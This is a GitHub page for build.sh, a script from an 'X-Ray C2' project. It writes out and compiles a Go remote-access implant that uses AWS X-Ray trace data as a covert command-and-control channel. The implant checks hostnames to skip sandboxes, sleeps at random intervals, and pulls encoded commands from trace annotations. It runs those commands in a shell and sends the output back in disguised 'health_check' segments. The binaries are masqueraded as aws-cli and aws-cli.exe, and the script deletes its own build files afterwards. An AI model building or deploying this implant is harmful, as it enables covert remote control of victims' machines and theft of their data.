-
Notifications
You must be signed in to change notification settings - Fork 7
Expand file tree
/
Copy pathbuild.sh
More file actions
369 lines (305 loc) · 9.09 KB
/
build.sh
File metadata and controls
369 lines (305 loc) · 9.09 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
#!/bin/bash
echo "====================================="
echo " X-Ray C2 Standalone Builder"
echo " @RandomDhiraj"
echo "====================================="
echo ""
echo "Enter AWS credentials to embed in implants:"
read -p "AWS Access Key ID: " ACCESS_KEY
read -s -p "AWS Secret Access Key: " SECRET_KEY
echo ""
echo ""
if [ -z "$ACCESS_KEY" ] || [ -z "$SECRET_KEY" ]; then
echo "[-] Error: Credentials cannot be empty"
exit 1
fi
cat > implant_standalone.go << 'EOF'
package main
import (
"bytes"
"crypto/hmac"
"crypto/sha256"
"encoding/base64"
"encoding/hex"
"encoding/json"
"fmt"
"io/ioutil"
"math/rand"
"net/http"
"os"
"os/exec"
"runtime"
"strings"
"time"
)
const (
accessKey = "REPLACE_ACCESS_KEY"
secretKey = "REPLACE_SECRET_KEY"
region = "eu-west-1"
service = "xray"
)
type AWSTraceSegment struct {
Name string `json:"name"`
ID string `json:"id"`
TraceID string `json:"trace_id"`
StartTime float64 `json:"start_time"`
EndTime float64 `json:"end_time"`
Annotations map[string]string `json:"annotations"`
}
var processedRequestIds = make(map[string]bool)
func validateEnvironment() bool {
hostname, _ := os.Hostname()
bad := []string{"sandbox", "virus", "malware", "vmware", "analysis"}
for _, s := range bad {
if strings.Contains(strings.ToLower(hostname), s) {
return false
}
}
return true
}
func generateRequestId(n int) string {
b := make([]byte, n/2)
rand.Read(b)
return hex.EncodeToString(b)[:n]
}
func executeSystemCommand(command string) string {
var cmd *exec.Cmd
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd", "/c", command)
default:
cmd = exec.Command("sh", "-c", command)
}
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Sprintf("Error: %v\n%s", err, out)
}
// Handle large outputs that might exceed X-Ray annotation limits
result := string(out)
maxSize := 64000 // AWS X-Ray annotation value limit is ~64KB
if len(result) > maxSize {
// Truncate with indication
truncated := result[:maxSize-200] // Leave room for message
return truncated + "\n\n[... OUTPUT TRUNCATED - Use 'head/tail' commands for large files ...]"
}
return result
}
func computeHMACSHA256(key []byte, data []byte) []byte {
h := hmac.New(sha256.New, key)
h.Write(data)
return h.Sum(nil)
}
func signAWSRequest(request *http.Request, body []byte) {
now := time.Now().UTC()
datestamp := now.Format("20060102")
timestamp := now.Format("20060102T150405Z")
// Create canonical request
hasher := sha256.New()
hasher.Write(body)
payloadHash := hex.EncodeToString(hasher.Sum(nil))
request.Header.Set("Host", request.URL.Host)
request.Header.Set("X-Amz-Date", timestamp)
request.Header.Set("Content-Type", "application/x-amz-json-1.1")
canonicalHeaders := fmt.Sprintf("content-type:%s\nhost:%s\nx-amz-date:%s\n",
request.Header.Get("Content-Type"),
request.Header.Get("Host"),
timestamp)
signedHeaders := "content-type;host;x-amz-date"
canonicalRequest := fmt.Sprintf("%s\n%s\n%s\n%s\n%s\n%s",
request.Method,
request.URL.Path,
request.URL.RawQuery,
canonicalHeaders,
signedHeaders,
payloadHash)
// Create string to sign
algorithm := "AWS4-HMAC-SHA256"
credentialScope := fmt.Sprintf("%s/%s/%s/aws4_request", datestamp, region, service)
h := sha256.New()
h.Write([]byte(canonicalRequest))
canonicalRequestHash := hex.EncodeToString(h.Sum(nil))
stringToSign := fmt.Sprintf("%s\n%s\n%s\n%s",
algorithm,
timestamp,
credentialScope,
canonicalRequestHash)
// Calculate signature
kDate := computeHMACSHA256([]byte("AWS4"+secretKey), []byte(datestamp))
kRegion := computeHMACSHA256(kDate, []byte(region))
kService := computeHMACSHA256(kRegion, []byte(service))
kSigning := computeHMACSHA256(kService, []byte("aws4_request"))
signature := hex.EncodeToString(computeHMACSHA256(kSigning, []byte(stringToSign)))
// Add authorization header
authorization := fmt.Sprintf("%s Credential=%s/%s, SignedHeaders=%s, Signature=%s",
algorithm,
accessKey,
credentialScope,
signedHeaders,
signature)
request.Header.Set("Authorization", authorization)
}
func publishMetrics(instanceId string, response string) error {
segment := AWSTraceSegment{
Name: "aws-application-monitoring",
ID: generateRequestId(16),
TraceID: fmt.Sprintf("1-%x-%s", time.Now().Unix(), generateRequestId(24)),
StartTime: float64(time.Now().Unix()),
EndTime: float64(time.Now().Unix()) + 0.1,
Annotations: map[string]string{
"service_type": "health_check",
"instance_id": instanceId,
"platform": runtime.GOOS,
},
}
if response != "" {
segment.Annotations["execution_result"] = base64.StdEncoding.EncodeToString([]byte(response))
}
segmentJSON, _ := json.Marshal(segment)
payload := map[string]interface{}{
"TraceSegmentDocuments": []string{string(segmentJSON)},
}
body, _ := json.Marshal(payload)
url := fmt.Sprintf("https://xray.%s.amazonaws.com/TraceSegments", region)
req, err := http.NewRequest("POST", url, bytes.NewBuffer(body))
if err != nil {
return err
}
signAWSRequest(req, body)
client := &http.Client{Timeout: 10 * time.Second}
resp, err := client.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
return nil
}
func pollConfiguration(instanceId string) (string, error) {
endTime := time.Now().Unix()
startTime := endTime - 300
payload := map[string]interface{}{
"StartTime": startTime,
"EndTime": endTime,
}
body, _ := json.Marshal(payload)
url := fmt.Sprintf("https://xray.%s.amazonaws.com/TraceSummaries", region)
req, err := http.NewRequest("POST", url, bytes.NewBuffer(body))
if err != nil {
return "", err
}
signAWSRequest(req, body)
client := &http.Client{Timeout: 10 * time.Second}
resp, err := client.Do(req)
if err != nil {
return "", err
}
defer resp.Body.Close()
respBody, _ := ioutil.ReadAll(resp.Body)
var response struct {
TraceSummaries []struct {
Annotations map[string][]struct {
AnnotationValue struct {
StringValue string `json:"StringValue"`
} `json:"AnnotationValue"`
} `json:"Annotations"`
} `json:"TraceSummaries"`
}
if err := json.Unmarshal(respBody, &response); err != nil {
return "", err
}
configKey := fmt.Sprintf("config_%s", instanceId)
for _, trace := range response.TraceSummaries {
if configData, exists := trace.Annotations[configKey]; exists && len(configData) > 0 {
encodedConfig := configData[0].AnnotationValue.StringValue
if encodedConfig != "" {
decoded, err := base64.StdEncoding.DecodeString(encodedConfig)
if err == nil {
configStr := string(decoded)
parts := strings.SplitN(configStr, ":", 2)
if len(parts) == 2 {
requestId := parts[0]
command := parts[1]
if !processedRequestIds[requestId] {
processedRequestIds[requestId] = true
return command, nil
}
}
}
}
}
}
return "", nil
}
func main() {
if !validateEnvironment() {
os.Exit(0)
}
rand.Seed(time.Now().UnixNano())
time.Sleep(time.Duration(5+rand.Intn(10)) * time.Second)
instanceId := generateRequestId(8)
for {
publishMetrics(instanceId, "")
cmd, _ := pollConfiguration(instanceId)
if cmd != "" {
if cmd == "exit" {
os.Exit(0)
}
result := executeSystemCommand(cmd)
// Handle multi-part responses for very large outputs
maxChunkSize := 32000 // Conservative chunk size
if len(result) > maxChunkSize {
// Send in chunks
chunks := (len(result) + maxChunkSize - 1) / maxChunkSize
for i := 0; i < chunks; i++ {
start := i * maxChunkSize
end := start + maxChunkSize
if end > len(result) {
end = len(result)
}
chunk := result[start:end]
if chunks > 1 {
chunk = fmt.Sprintf("[Part %d/%d]\n%s", i+1, chunks, chunk)
}
publishMetrics(instanceId, chunk)
time.Sleep(time.Duration(2+rand.Intn(3)) * time.Second) // Small delay between chunks
}
} else {
publishMetrics(instanceId, result)
}
}
sleepTime := 30 + rand.Intn(30)
time.Sleep(time.Duration(sleepTime) * time.Second)
}
}
EOF
sed -i.bak "s#REPLACE_ACCESS_KEY#$ACCESS_KEY#g" implant_standalone.go
sed -i.bak "s#REPLACE_SECRET_KEY#$SECRET_KEY#g" implant_standalone.go
rm -f implant_standalone.go.bak
echo "[*] Building macOS implant (zero dependencies)..."
GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w" -o aws-cli implant_standalone.go
if [ $? -eq 0 ]; then
echo "[+] Built: aws-cli ($(ls -lh aws-cli | awk '{print $5}'))"
else
echo "[-] macOS build failed"
exit 1
fi
echo ""
echo "[*] Building Windows implant (zero dependencies)..."
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w -H=windowsgui" -o aws-cli.exe implant_standalone.go
if [ $? -eq 0 ]; then
echo "[+] Built: aws-cli.exe ($(ls -lh aws-cli.exe | awk '{print $5}'))"
else
echo "[-] Windows build failed"
exit 1
fi
echo ""
echo "[*] Cleaning up..."
rm -f implant_standalone.go
rm -f implant.go build.sh build_production.sh WINDOWS_NOTES.txt run.sh
echo ""
echo "====================================="
echo "BUILD COMPLETE."
echo ""
echo " - aws-cli (macOS)"
echo " - aws-cli.exe (Windows)"
echo ""
echo "====================================="